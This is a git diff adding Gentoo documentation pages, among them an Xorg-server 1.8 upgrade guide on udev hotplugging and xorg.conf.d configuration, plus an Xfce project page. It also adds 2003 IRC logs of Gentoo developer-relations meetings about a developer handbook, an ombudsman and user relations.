+    Preferences menu. In the "Layout" tab, click on "Layout Options" and enable
+    "Key sequence to kill the X server". This setting will be stored in GConf.
+  </li>
+  <li>
+    If you want to enable zapping without using any graphical utility, just run
+    <c>setxkbmap -option terminate:ctrl_alt_bksp</c>
+  </li>
+</ul>
+
+<p>
+If you want to make the change permanent, regardless of your desktop
+environment, you have a few more options :
+</p>
+
+<ul>
+  <li>
+    If you use HAL to manage input devices, copy the following HAL fdi snippet
+    into the fdi file from <path>/etc/hal/fdi/policy/</path> which you use to
+    control your keyboard.  <c> &lt;merge key="input.xkb.options"
+    type="string"&gt;terminate:ctrl_alt_bksp&lt;/merge&gt; </c> If you do not
+    have any custom keyboard rules, you can copy and adapt rules from
+    <path>/usr/share/hal/fdi/policy/10osvendor/10-x11-input.fdi</path>
+  </li>
+  <li>
+    If you still use <path>xorg.conf</path> to manage your input devices, just
+    add the following to your keyboard's InputDevice section : <c>Option
+    "XkbOptions" "terminate:ctrl_alt_bksp".</c>
+  </li>
+</ul>
+</body>
+</section>
+</chapter>
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
new file mode 100644
index 00000000..fd990f64
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml,v 1.3 2010/04/13 09:46:37 scarabeus Exp $ -->
+
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="/proj/en/desktop/x/x11/xorg-server-1.8-upgrade-guide.xml">
+<title>Xorg-server 1.8 Upgrade Guide</title>
+
+<author title="Author">
+	<mail link="scarabeus"/>
+</author>
+
+<author title="Editor">
+	<mail link="remi"/>
+</author>
+
+<abstract>
+This guide shows you how to upgrade X.org server to version 1.8.
+</abstract>
+
+<!-- The  content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>1</version>
+<date>2010-04-09</date>
+
+<chapter>
+<title>Features changes</title>
+<section>
+<body>
+
+<ul>
+	<li>
+		Xorg can detect input devices using udev, deprecating its HAL support.
+		Users are strongly encouraged to migrate to udev.
+	</li>
+	<li>
+		Xorg's configuration is now much more flexible thanks to generic match
+		options and multiple-file merging capabilities.
+	</li>
+</ul>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Migrating to udev hotplugging</title>
+
+<section>
+<title>Enabling udev support</title>
+<body>
+
+<p>
+Enabling udev just requires building <c>xorg-server</c> with <c>USE="udev"</c>.
+</p>
+
+</body>
+</section>
+
+<section>
+<title>Match rules usage</title>
+<body>
+
+<p>
+Now that Xorg is able to get a list of available input devices using udev
+instead of HAL, Xorg's configuration system was changed to make things easier
+for users and distribution maintainers alike. With HAL hot-plugging, device
+configuration had to be specified using HAL's XML configuration system (the
+infamous <c>.fdi</c> files) for Xorg to pick up user preferences such as the
+keyboard map or the mouse pointer acceleration.
+</p>
+
+<p>
+Since moving those options from HAL to udev seemed like an even worse idea, it
+was decided to move them back to Xorg, and make Xorg's configuration much more
+flexible.
+</p>
+
+<warn>
+Config is stored in <path>xorg.conf</path> or <path>xorg.conf.d</path>
+files but the detection is done by udev. So make sure you turn that useflag on.
+</warn>
+
+<p>
+A new configuration section called <c>InputClass</c> is introduced. It is very
+similar to the <c>InputDevice</c> section but can match (and therfore
+configure) multiple devices.
+</p>
+
+<p>
+The InputClass works by matching one or more properties from the devices
+retrieved with udev, using the following match rules:
+</p>
+
+<ul>
+	<li>MatchProduct</li>
+	<li>MatchVendor</li>
+	<li>MatchDevicePath</li>
+	<li>MatchIsKeyboard</li>
+	<li>MatchIsPointer</li>
+	<li>MatchIsJoystick</li>
+	<li>MatchIsTablet</li>
+	<li>MatchIsTouchpad</li>
+	<li>MatchIsTouchscreen</li>
+</ul>
+
+<note>
+MatchDevicePath uses fnmatch(3) when available, so you can use wildcard
+patterns (eg, <c>Option "MatchDevicePath" "/dev/input/event*"</c>).
+</note>
+
+</body>
+</section>
+
+<section>
+<title>Examples</title>
+<body>
+
+<pre caption="Configuring all touchpads to use synaptics driver">
+Section "InputClass"
+	Identifier "synaptics-all"
+	Driver "synaptics"
+	Option "RTCornerButton" "2"
+	Option "HorizEdgeScroll" "true"
+
+	MatchIsTouchpad "on"
+EndSection
+</pre>
+
+<pre caption="Configuring all keyboards to use specified config">
+Section "InputClass"
+	Identifier "keyboard-all"
+	Driver "evdev"
+	Option "XkbLayout" "us,cz"
+	Option "XkbVariant" ",qwerty"
+	Option "XkbOptions" "grp:alt_shift_toggle,grp:switch,compose:rwin,terminate:ctrl_alt_bksp"
+
+	MatchIsKeyboard "on"
+EndSection
+</pre>
+
+<pre caption="Configuring all mice to use specified config">
+Section "InputClass"
+	Identifier "mouse-all"
+	Driver "evdev"
+
+	MatchIsPointer "on"
+EndSection
+</pre>
+
+</body>
+</section>
+
+<section>
+<title>Disabling hotplugging</title>
+<body>
+
+<p>
+If you do not want to use udev nor HAL, you can either build <c>xorg-server</c>
+with <c>USE="-udev -hal"</c> or you can turn the AutoAddDevices option off in
+the ServerFlags section of your <path>xorg.conf</path> (or in some file stored
+in <path>/etc/X11/xorg.conf.d/</path>).
+</p>
+
+<pre caption="Turning AutoAddDevices off">
+Section "ServerFlags"
+    Option "AutoAddDevices" "false"
+EndSection
+</pre>
+
+<p>
+Both options will allow the X server to use the legacy <c>mouse</c> and
+<c>kbd</c> drivers.
+</p>
+
+</body>
+</section>
+
+</chapter>
+
+<chapter>
+<title>Usage of xorg.conf.d</title>
+<section>
+<title>Splitting xorg.conf</title>
+<body>
+
+<p>
+The <path>xorg.conf.d</path> is an additional folder where users can store
+adjustments to Xorg's configuraion without touching the main
+<path>xorg.conf</path> itself.
+</p>
+
+<p>
+The order of inheritance is quite simple. If present, <path>xorg.conf</path> be
+loaded, then the <path>xorg.conf.d/**.conf</path> files will be parsed next, in
+ASCII alphabetical order (so numbers will be first).
+</p>
+
+<pre caption="example folder listing for xorg.conf.d">
+/etc/X11/xorg.conf.d $ ls
+50-ati.conf  96-synaptics.conf  97-evdev.conf
+</pre>
+
+<pre caption="example content of 96-synaptics.conf">
+Section "InputDevice"
+	Identifier "touchpad"
+	Driver "synaptics"
+	Option "AutoServerLayout" "on"
+EndSection
+</pre>
+
+<p>
+As you can see the code is same as for <c>xorg.conf</c> itself. Only one
+addition is the <c>"AutoServerLayout" option</c>. With this option enabled the
+device does not need to be referenced in <c>ServerLayout section</c>.
+</p>
+
+<note>
+The InputClass section automatically enables the <c>AutoServerLayout</c> option,
+you do not need to specify it.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter>
+<title>Known Quirks</title>
+
+<section>
+<title>Lenovo HDAPS sensor</title>
+<body>
+
+<p>
+For more info see <uri
+link="http://bugs.freedesktop.org/show_bug.cgi?id=22442">upstream bug</uri>.
+</p>
+
+<pre caption="Disabling HDAPS accelerometer driver">
+Section "InputClass"
+	Identifier "ThinkPad HDAPS blacklist"
+	MatchProduct "ThinkPad HDAPS accelerometer data"
+	Option "Ignore" "on"
+EndSection
+</pre>
+
+</body>
+</section>
+
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/desktop/xfce/index.xml b/xml/htdocs/proj/en/desktop/xfce/index.xml
new file mode 100644
index 00000000..441d7ca4
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/xfce/index.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+
+<project>
+<name>xfce</name>
+
+<longname>Gentoo Xfce Project</longname>
+<date>2009-09-23</date>
+
+<author title="Author"> <!-- of this document/page -->
+  <mail link="nightmorph"/>
+</author>
+
+<description>
+The Gentoo Xfce Project aims to bring the current and complete Xfce desktop
+environment to Gentoo.
+</description>
+
+<longdescription>
+
+<p>
+<uri link="http://www.xfce.org">Xfce</uri> is a fast, lightweight desktop
+environment for Unix-like operating systems. It is designed for productivity,
+and is quite configurable while still adhering to the <uri
+link="http://www.freedesktop.org/">Freedesktop</uri> specifications.
+</p>
+
+<p>
+Unlike heavier desktop environments, such as Gnome and KDE, Xfce uses far fewer
+system resources. Additionally, it offers greater modularity and fewer
+dependencies; it takes up less space on your hard disk and takes less time to
+install.
+</p>
+
+<p>
+The Gentoo Xfce Project aims to bring the current and complete Xfce desktop
+environment to Gentoo. We maintain the Xfce libraries, key applications, and
+various add-ons that are part of the Xfce desktop.
+</p>
+
+</longdescription>
+
+<dev role="lead">angelos</dev>
+<dev role="member">darkside</dev>
+<herd name="xfce"/>
+
+<!-- an incidental chapter after everything else, useful for mentioning various
+resources, how to get involved, how to contact, helpful links, etc. -->
+<extrachapter position="bottom">
+<title>Resources</title>
+<section>
+<body>
+
+<ul>
+  <li>
+    <uri link="/doc/en/xfce-config.xml">Xfce Installation and Configuration
+    Guide</uri>
+  </li>
+<!-- page/link examples
+  <li><uri link="foo.xml">Policy statements for the Xfce Project</uri></li>
+  <li><uri link="bar.xml">Migration Guide from version 4.2 to 4.4</uri></li>
+  <li><uri link="foo2.xml">FAQs</uri></li>
+  <li>
+    <uri link="bar2.xml">(Some kind of developers guide/how to help out/testing
+    howto)</uri>
+  </li>
+-->
+  <li>
+    Email the Xfce team at <mail link="xfce@gentoo.org">xfce@gentoo.org</mail>
+  </li>
+  <li>Join us at #gentoo-xfce on irc.freenode.net</li>
+  <li>The Xfce <uri link="http://www.xfce.org">home page</uri></li>
+</ul>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/en/devrel/devrel-07162003.log b/xml/htdocs/proj/en/devrel/devrel-07162003.log
new file mode 100644
index 00000000..b476908d
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/devrel-07162003.log
@@ -0,0 +1,224 @@
+Jul 16 12:55:56 <seemant>	so I guess the purpose of this meeting is to kind of map out what needs to be done and who wants to do what
+Jul 16 12:56:13 <seemant>	ideally we all leave this meeting with "something to do"
+Jul 16 12:56:55 <seemant>	first item I would like to put forth is this Developer Handbook idea
+Jul 16 12:57:12 <klieber>	seemant: can I ask a question first?
+Jul 16 12:57:16 <seemant>	please
+Jul 16 12:57:39 <klieber>	seemant: can you explain what devrel is intended to do, as a project?  I have a vague idea, but I'm not sure we're all on the same page
+Jul 16 12:57:59 <klieber>	just a high-level overview of what the project is about
+Jul 16 12:58:22 <seemant>	essentially provide the documents and structure to ease relations both between developers and between the developer communities
+Jul 16 12:58:45 <seemant>	those communities would be official gentoo developers and advanced users and prospective developers
+Jul 16 12:58:58 <klieber>	ok, that's perfect.
+Jul 16 12:59:09 <klieber>	just looking for the context of this discussion :)
+Jul 16 12:59:22 *	klieber goes back to his corner now
+Jul 16 12:59:24 <seemant>	klieber: the official page is proj/en/devrel (work in progress)
+Jul 16 12:59:50 <seemant>	so anyway, coming to the Developer Handbook
+Jul 16 13:00:20 <seemant>	the idea there is to have a single place/portal for developer related documents
+Jul 16 13:01:00 <seemant>	everything from recruitment policy, training guidelines, etiquette guidelines to perhaps more tehnical stuff like cvs/repoman usage and ebuild standars
+Jul 16 13:01:17 <seemant>	(the last two I'm not completely sure about, but seem to be natural follow-throughs)
+Jul 16 13:01:23 <seemant>	thoughts?
+Jul 16 13:01:34 ---	seemant gives channel operator status to avenj
+Jul 16 13:01:36 ---	seemant gives channel operator status to Brandy
+Jul 16 13:01:38 ---	seemant gives channel operator status to g2boojum
+Jul 16 13:01:40 ---	seemant gives channel operator status to klieber
+Jul 16 13:01:41 ---	seemant gives channel operator status to fava
+Jul 16 13:01:43 ---	seemant gives channel operator status to lu_zero
+Jul 16 13:02:02 <avenj>	i like it
+Jul 16 13:02:03 <klieber>	personally, I think that's a great idea.
+Jul 16 13:02:25 <g2boojum>	Sounds reasonable to me, although we need to make sure we don't start a turf war w/ the doc folks (not that that should be a problem).
+Jul 16 13:02:36 <lu_zero>	hm
+Jul 16 13:02:41 <seemant>	grant: I'm rather hoping it'll be a collaboration with them
+Jul 16 13:02:45 <lu_zero>	we should ask the help of the doc folks
+Jul 16 13:02:51 <Brandy>	at the moment there are quite a few docs around, they're just a bit fractionated. Being in the same place would be good
+Jul 16 13:03:02 <g2boojum>	seemant: I assumed.
+Jul 16 13:03:37 <seemant>	now, sven had the idea of a general handbook, which I haven't put too much thought into 
+Jul 16 13:03:50 <seemant>	so we know that docs people are at least thinking along similar lines
+Jul 16 13:04:00 <seemant>	just that devrel has a narrower focus in that regard
+Jul 16 13:04:38 <seemant>	next item: the pseudo-controversial ombudsman project
+Jul 16 13:04:51 <seemant>	everyone's familiar with the GLEP about that?
+Jul 16 13:05:02 <seemant>	http://www.gentoo.org/proj/en/glep/glep-0007.html
+Jul 16 13:05:19 <avenj>	indeed
+Jul 16 13:05:27 <g2boojum>	yep :)
+Jul 16 13:05:34 <Brandy>	yeah
+Jul 16 13:06:13 <seemant>	from notes I've seen on the mailing lists <nudges kurt>, perhaps aspects of it need tweaking?
+Jul 16 13:06:27 <klieber>	well, I certainly have some opinions about it...
+Jul 16 13:06:35 <klieber>	for the most part, I think it is a good idea...
+Jul 16 13:06:52 <klieber>	but I think it either a) doesn't go far enough or b) needs a sister position that handles big picture type stuff.
+Jul 16 13:07:08 <klieber>	as I said in my responses, I don't like greasing squeeks
+Jul 16 13:07:17 <klieber>	and, in its current form, that's all I think this position does
+Jul 16 13:07:20 <klieber>	I'd like to see it do more
+Jul 16 13:07:37 <g2boojum>	klieber: If you'll write up a description of "go farther", I'll add it.
+Jul 16 13:07:49 <klieber>	g2boojum: not sure I have the best answer to "going farther", tbh
+Jul 16 13:08:04 <klieber>	but I'd like to see something that focuses on the underlying issues, instead of the squeeks
+Jul 16 13:08:09 <klieber>	 in a nutshell, that's what my concern is
+Jul 16 13:08:41 <klieber>	also, if everyone else thinks I'm off my rocker, then I'll happily support the proposal in its current form
+Jul 16 13:08:43 <g2boojum>	I agree w/ the big picture, but I think both aspects are important.  We _need_ a pressure valve for squeaks.
+Jul 16 13:08:44 <Brandy>	I think an Ombudsman should be looking at ways of avoiding the conflicts in the first place, not just resolving conflicts that do occur
+Jul 16 13:09:24 <klieber>	agreed with both statements.
+Jul 16 13:09:26 <g2boojum>	Brandy: How does one do that?  I agree it's a good idea, but I'm not sure how to accomplish it.
+Jul 16 13:09:31 <klieber>	just not sure how to implement a solution
+Jul 16 13:09:35 <klieber>	yeah -- what grant said :)
+Jul 16 13:09:43 <Brandy>	Along the lines of identifying overlapping responsibilities, unclear procedures etc
+Jul 16 13:10:15 <lu_zero>	brb
+Jul 16 13:11:22 <seemant>	grant: Would you like to make a sub-project page for ombudsman in proj/en/devrel?
+Jul 16 13:11:48 <seemant>	grant: I think once we start to formalise and use it, it can be tweaked along the way
+Jul 16 13:12:07 <g2boojum>	seemant: I can do that, but I'm going to be spending time w/ my wife until next Tuesday.
+Jul 16 13:12:44 <seemant>	grant: have a good time :)
+Jul 16 13:12:49 <seemant>	grant: next week is cool
+Jul 16 13:12:58 <g2boojum>	seemant: Thanks!  
+Jul 16 13:13:12 <seemant>	which brings us to a related subproject, viz. user relations
+Jul 16 13:13:27 <seemant>	I've asked (yeah I know, I didn't put it up to vote, but :P)
+Jul 16 13:13:36 <seemant>	Brandy to be The Ambassador
+Jul 16 13:14:07 <seemant>	a lot of the tweaks to that project page came from her, and she brings a good perspective of the user side of things
+Jul 16 13:14:35 <klieber>	seemant: what does that position entail?
+Jul 16 13:14:56 <seemant>	Brandy: can you provide a high level description?
+Jul 16 13:15:01 <g2boojum>	Brandy: Do you have plenipotentiary powers?  *Grin*
+Jul 16 13:15:34 <Brandy>	g2boojum: I wish :)
+Jul 16 13:16:23 <Brandy>	I think that at the moment there are a lot of users who have trouble finding out about the developer community
+Jul 16 13:16:51 <Brandy>	Also they often have lots of suggestions and queries that don't always get answered
+Jul 16 13:17:57 <Brandy>	So I think there needs to be some sort of interface or people that can help them find info they need, or put them in touch with people that can help them
+Jul 16 13:18:27 <klieber>	Brandy: how are you going to separate out the signal from the noise?
+Jul 16 13:18:51 <klieber>	Brandy: meaning I don't think we want to involve the developers every time a user has a problem in #gentoo or on the forums
+Jul 16 13:19:09 <klieber>	at least I don't...
+Jul 16 13:19:58 <Brandy>	That's a good question. I'm thinking that what User Relations is for - to act as a buffer and ensure the same questions/complaints don't get asked to the same developers over and over
+Jul 16 13:20:58 <klieber>	ok
+Jul 16 13:22:14 <g2boojum>	Brandy: I'm sorry, I'm not sure I entirely understand.  Right now the idea seems a bit broad, can you give some examples of what the Ambassador would be doing?
+Jul 16 13:24:16 <Brandy>	Some ideas would be to have a dedicated channel of communication where developer-specific questions can be asked, letting users know of what parts of the development community have openings
+Jul 16 13:25:09 <klieber>	Brandy: one request/suggestion would be to leverage the GWN for as much of that as possible.  That was/is its primary reason for being created in the first place.
+Jul 16 13:25:26 <klieber>	that likely won't be an answer for everything, but it could be of some help
+Jul 16 13:25:38 *	klieber admits to being biased in this case :)
+Jul 16 13:26:12 <seemant>	klieber, g2boojum: the reason I'd approached Brandy in the first place was due to her extensive contact/communication with members of the user community
+Jul 16 13:26:17 <seemant>	both on the forms and in the irc channels
+Jul 16 13:26:31 <g2boojum>	Also, I assume that when we restructure the web site to reflect the various projects that should help people at least have a better idea where to look or who to ask.
+Jul 16 13:26:34 <seemant>	and within 5 minutes of she and I talking about devrel, she had outlined at least 3 different issues
+Jul 16 13:27:01 <seemant>	garnered from just the conversations she'd had with users during her time in the forums/channels so far
+Jul 16 13:27:15 <klieber>	seemant: what are the issues?  maybe that would given grant and I some more context to help understand this role better?
+Jul 16 13:27:22 <klieber>	s/given/give/
+Jul 16 13:27:31 <seemant>	one of the perceptions is that as developers we're in some far away castle locked away playing with secret potions
+Jul 16 13:27:38 <seemant>	and completely unapproachable
+Jul 16 13:27:53 <seemant>	^^ that was an issue, thought I've phrased it differently
+Jul 16 13:28:10 <seemant>	another issue was the scattering of different data (which led to the Handbook idea)
+Jul 16 13:28:41 <Brandy>	At the moment there are a lot of users who are really quite unaware of how to become a developer, what the specific roles of a developer are etc. DevRel should provide a point of contact for these users.
+Jul 16 13:28:42 <--	lu_zero has quit (Read error: 110 (Connection timed out))
+Jul 16 13:29:00 <klieber>	ok -- that helps.
+Jul 16 13:29:16 <g2boojum>	I could also add "developers are rude to users" and "Changes in Gentoo are chaotic" to seemant's list, as a guess.
+Jul 16 13:29:46 <klieber>	I guess I'm concerned with being too open and available with our users -- I don't want to set the expectation that, any time a user can't figure out how to su to root that we can/will provide support to them.
+Jul 16 13:29:58 <seemant>	klieber: no, that's not the aim at all
+Jul 16 13:30:14 <seemant>	our focus in devrel is more to the advanced users and prospective developers
+Jul 16 13:30:15 <klieber>	ok, then I'm missing something, obviously :)
+Jul 16 13:30:15 -->	lu_zero (~lu_zero@ppp-6-196.25-151.libero.it) has joined #gentoo-devrel
+Jul 16 13:30:25 <Brandy>	I'm also aware of some people who don't have the desire/time to ever think about taking on the responsibilities of a developer. I'd like to look at ways in which they can still be used (testers, documentation etc)
+Jul 16 13:32:03 <seemant>	klieber: and note that brandy's office's role is to filter a lot of the cruft out before presenting to the developer community
+Jul 16 13:32:26 <seemant>	klieber: think of an Embassy
+Jul 16 13:32:34 <klieber>	ok -- I think I get it
+Jul 16 13:33:03 <g2boojum>	klieber: I think we may be mingling "devrel" and "userrel" issues.  
+Jul 16 13:33:03 <seemant>	she'll stamp people's passports, replace missing visitor visas etc
+Jul 16 13:33:11 <klieber>	g2boojum: yep -- sounds like it.
+Jul 16 13:33:17 <g2boojum>	Hmmm, we don't have a "userrel" project.
+Jul 16 13:33:46 <klieber>	maybe we should rename this project to community relations or something more generic.
+Jul 16 13:33:52 *	klieber likes the sound of commrel
+Jul 16 13:34:46 <g2boojum>	Oh, "User Relations" is a subproject.  I don't remember that.  Oops!
+Jul 16 13:35:25 <seemant>	well we quite possibly can expand the user rel subproject to attempt to deal with some the things grant and kurt brought up
+Jul 16 13:35:45 <Brandy>	indeed
+Jul 16 13:36:30 <seemant>	kurt, grant, we'll think upon that more during the week and tweak the project description
+Jul 16 13:36:46 <g2boojum>	Fair enough.
+Jul 16 13:36:53 <klieber>	cool -- I like the idea in principle and I think Brandy will do a great job.
+Jul 16 13:37:31 <g2boojum>	Works for me.
+Jul 16 13:37:46 *	g2boojum watched too much Hunter in his youth.
+Jul 16 13:37:54 <seemant>	lol
+Jul 16 13:38:13 <seemant>	ok, so in the next week or 10 days then
+Jul 16 13:38:26 <seemant>	we'll have subproject pages up for ombudsman  from grant
+Jul 16 13:38:32 <seemant>	The Embassy from Brandy
+Jul 16 13:38:43 <seemant>	and avenj and I will start outlining the Developers Handbook
+Jul 16 13:38:58 <seemant>	avenj: fair with you? I'm speaking for you coz you're sleepy, and I can advantage :P
+Jul 16 13:39:49 ---	seemant gives channel operator status to lu_zero
+Jul 16 13:40:02 <seemant>	so, before we adjourn, any outstanding issues or questions?
+Jul 16 13:40:04 <seemant>	luca, fred?
+Jul 16 13:40:40 <fava>	ambassador@gentoo.org perhaps
+Jul 16 13:41:02 <klieber>	that sounds a bit presumptuous, doesn't it?
+Jul 16 13:41:02 <seemant>	seens fair enough to me
+Jul 16 13:41:22 <seemant>	presumptuous?
+Jul 16 13:41:50 <fava>	klieber: Only if it conferrs diplomatic immumity.
+Jul 16 13:42:00 <klieber>	nm -- if you guys like it then that's good enough for me.
+Jul 16 13:42:01 <lu_zero>	seemant I have to read the backlog....
+Jul 16 13:42:18 <seemant>	klieber: no no, tell about your reservation
+Jul 16 13:42:19 <g2boojum>	I'm thinking the word klieber had in mind was "condescending", since it propagates the notion that one _needs_ an ambassador to the High-Falutin devs.
+Jul 16 13:42:34 <seemant>	grant: indeed, that makes sense
+Jul 16 13:42:37 <klieber>	grant pretty much said it
+Jul 16 13:43:00 <seemant>	except she's more of their ambassador to us
+Jul 16 13:43:27 <klieber>	I guess I have negative connotations regarding the word "ambassador" that color my opinion of it
+Jul 16 13:43:38 <fava>	an ambassador is a friendly contact in a hostile or stange area.
+Jul 16 13:43:44 <klieber>	which is why I backed off earlier. :)
+Jul 16 13:43:54 <klieber>	if you guys are fine with it, then I'm fine with it.
+Jul 16 13:43:59 <seemant>	klieber: that mail alias can come later anyway
+Jul 16 13:44:04 <g2boojum>	seemant: True, but the context might not be obvious.  How about we leave it up in the air for more thought.
+Jul 16 13:44:06 <seemant>	it's not needed immediately, regardless
+Jul 16 13:44:23 <seemant>	grant: agree
+Jul 16 13:44:33 <Brandy>	I too think ambassador is a bit rich. My role should ideally be transparent, so the high-end users can communicate effectively with the development community.
+Jul 16 13:45:23 <lu_zero>	hmm
+Jul 16 13:45:32 <lu_zero>	a nice term may be shaman
+Jul 16 13:45:36 <lu_zero>	or medium
+Jul 16 13:46:15 <lu_zero>	just to make it look less serious
+Jul 16 13:46:20 *	g2boojum has images of Brandy "channelling" seemant.
+Jul 16 13:46:23 <seemant>	well, it's something we can decide a little later, anyhow
+Jul 16 13:46:25 <g2boojum>	Anything else?
+Jul 16 13:46:46 <seemant>	oh yeah
+Jul 16 13:46:47 <seemant>	just quickly
+Jul 16 13:46:55 <seemant>	everyone ok with Tal's Developer Profiles idea?
+Jul 16 13:47:11 <Brandy>	I like the idea.
+Jul 16 13:47:11 <klieber>	uh...
+Jul 16 13:47:16 <klieber>	what developer profiles idea?
+Jul 16 13:47:24 *	klieber obviously did not do his homework
+Jul 16 13:47:49 <seemant>	klieber: he sent out a dtd for a small developer profile
+Jul 16 13:48:09 <seemant>	including photo, email, name, herds memberships, which ebuilds are directly maintained
+Jul 16 13:48:13 <seemant>	iirc
+Jul 16 13:48:18 <klieber>	ok -- that makes sense.
+Jul 16 13:48:27 <klieber>	sure -- that sounds like a good idea.
+Jul 16 13:48:30 <g2boojum>	klieber: Storing dev info as xml files.  Name, username, location, gpg key, herds, projects, hardware available, ...
+Jul 16 13:48:39 <seemant>	oh right gpg and h/w too
+Jul 16 13:48:42 <g2boojum>	Ideally the dev roster should be generated from the profiles.
+Jul 16 13:48:46 <seemant>	the h/w idea of his was cunning
+Jul 16 13:48:48 <Brandy>	I don't think devs should be compelled to have all details listed though if they like a little bit of anonymity.
+Jul 16 13:48:56 <g2boojum>	seemant: Mine, actually.
+Jul 16 13:49:01 <klieber>	h/w?
+Jul 16 13:49:05 <seemant>	the h/w idea of grant's was cunning
+Jul 16 13:49:08 <seemant>	hardware
+Jul 16 13:49:14 <g2boojum>	I keep seeing people say on -dev "Hey, who has ppc to test ..."
+Jul 16 13:49:18 <klieber>	oh right
+Jul 16 13:49:55 <klieber>	Brandy: likely we can mandate certain fields (name, nick, gpg key, herds, projects, etc.) and leave others as optional
+Jul 16 13:50:05 <seemant>	Brandy: yes -- things like username, gpg key, herds, projects and hardware should be to provide as compulsory
+Jul 16 13:50:23 <Brandy>	that sounds fair. :)
+Jul 16 13:50:24 <g2boojum>	Brandy: Good point.  I'm certainly not going to add my astrological sign!
+Jul 16 13:50:30 <seemant>	the realname/location/turn-ons/turn-offs fields can be lef tto developer discretion
+Jul 16 13:50:59 <fava>	If you require devs to create/update there own and place it in dev.g.o :~ a script can automatically collect the info ang generate the dev list from it
+Jul 16 13:51:02 <g2boojum>	I haven't looked at the dtd, just the example xml.  That might need to be fixed.
+Jul 16 13:51:13 <klieber>	fava: yep -- I was just thinking how we'd do that. :)
+Jul 16 13:51:22 <klieber>	fava: likely we'll store it in ldap, actually
+Jul 16 13:51:54 <seemant>	so can someone take a quick log of the meeting please?
+Jul 16 13:52:16 <g2boojum>	klieber: You know, if we use ldap then we don't need really need a dtd or the xml, we can just have users log in and add the changes.
+Jul 16 13:52:23 -->	lu_zero_ (~lu_zero@ppp-226-182.25-151.libero.it) has joined #gentoo-devrel
+Jul 16 13:52:41 <klieber>	g2boojum: yep
+Jul 16 13:52:49 <g2boojum>	Wow, use LDAP to store directory info.  What a _good_ idea.  *Smacks forehead again*
+Jul 16 13:52:58 <seemant>	lol
+Jul 16 13:53:02 <klieber>	g2boojum: we'll be moving towards ldap in a big way for infrastructure stuff
+Jul 16 13:53:11 <--	lu_zero has quit (Killed (NickServ (ghosted: lu_zero_!~lu_zero@ppp-226-182.25-151.libero.it)))
+Jul 16 13:53:44 <g2boojum>	klieber: That was the impression I had.
+Jul 16 13:53:49 <g2boojum>	Cool.
+Jul 16 13:54:20 <--	lu_zero_ (~lu_zero@ppp-226-182.25-151.libero.it) has left #gentoo-devrel
+Jul 16 13:55:00 -->	lu_zero (~lu_zero@ppp-226-182.25-151.libero.it) has joined #gentoo-devrel
+Jul 16 13:55:04 <lu_zero>	back
+Jul 16 13:55:06 <g2boojum>	Okay, I'm still at work and I have a strong desire to head on home.  'Caio, all.
+Jul 16 13:55:27 <Brandy>	Ciao g2boojum
+Jul 16 13:55:42 <g2boojum>	Brandy: Oh, and nice meeting you, ma'am.
+Jul 16 13:55:44 <lu_zero>	bye g2boojum 
+Jul 16 13:55:53 *	g2boojum is gone: Headed back to the barn.
+Jul 16 13:56:01 <Brandy>	g2boojum: the pleasure's all mine :)
+Jul 16 13:56:42 <klieber>	ok, if we're done, then I'm headed off to bed.  4am comes early
+Jul 16 13:57:05 <lu_zero>	klieber really ^^
+Jul 16 13:57:15 <seemant>	yep adjourned
+Jul 16 13:57:20 <seemant>	someone logged this?
+Jul 16 13:57:24 <klieber>	cooldealneal
+Jul 16 13:57:26 <klieber>	yep -- I've got logs
+Jul 16 13:57:31 <seemant>	thanks kurt
+Jul 16 13:57:35 <seemant>	thank you all
+Jul 16 13:57:40 <Brandy>	bye
+Jul 16 13:57:43 <klieber>	night/morning all
diff --git a/xml/htdocs/proj/en/devrel/devrel-07232003.log b/xml/htdocs/proj/en/devrel/devrel-07232003.log
new file mode 100644
index 00000000..47cf17f9
--- /dev/null
+++ b/xml/htdocs/proj/en/devrel/devrel-07232003.log
@@ -0,0 +1,478 @@
+Jul 23 19:06:10 <seemant>	ok, let's get started
+Jul 23 19:06:16 <seemant>	hi grant, just in time
+Jul 23 19:06:37 <seemant>	I'd like to just kick off with having spyderous introduce his ideas to us about user relations
+Jul 23 19:06:41 <seemant>	spyderous: here?
+Jul 23 19:07:26 <seemant>	just to quickly pre-cap: intro spyderous, intro stuart and his proposal (related to glep # 3 btw)
+Jul 23 19:07:53 <seemant>	then we'd like to move Conflict Res. to an active subproject
+Jul 23 19:07:58 <seemant>	so we'll address that
+Jul 23 19:08:10 <seemant>	and an update from Brandy about User Rel side of things
+Jul 23 19:08:24 <seemant>	finally, GWN announcement for DevRel in order?
+Jul 23 19:08:54 <seemant>	(I'm lagging big time)
+Jul 23 19:09:28 <seemant>	erm, ok, let's skip ahead to Stuart
+Jul 23 19:09:30 <spyderous>	here
+Jul 23 19:09:36 <seemant>	haha
+Jul 23 19:09:39 <seemant>	spyderous: ok, you're up
+Jul 23 19:09:40 <spyderous>	skip
+Jul 23 19:09:59 <spyderous>	i'll go after stuart
+Jul 23 19:10:05 <seemant>	Stuart: then you
+Jul 23 19:10:14 <Stuart>	k
+Jul 23 19:10:21 <Stuart>	seemant: 
+Jul 23 19:10:25 <Stuart>	bah
+Jul 23 19:10:46 <Stuart>	I've put together a proposal for how I personally see my role as a Gentoo Developer
+Jul 23 19:11:04 <Stuart>	seemant's already circulated the URL, so I won't repeat it here
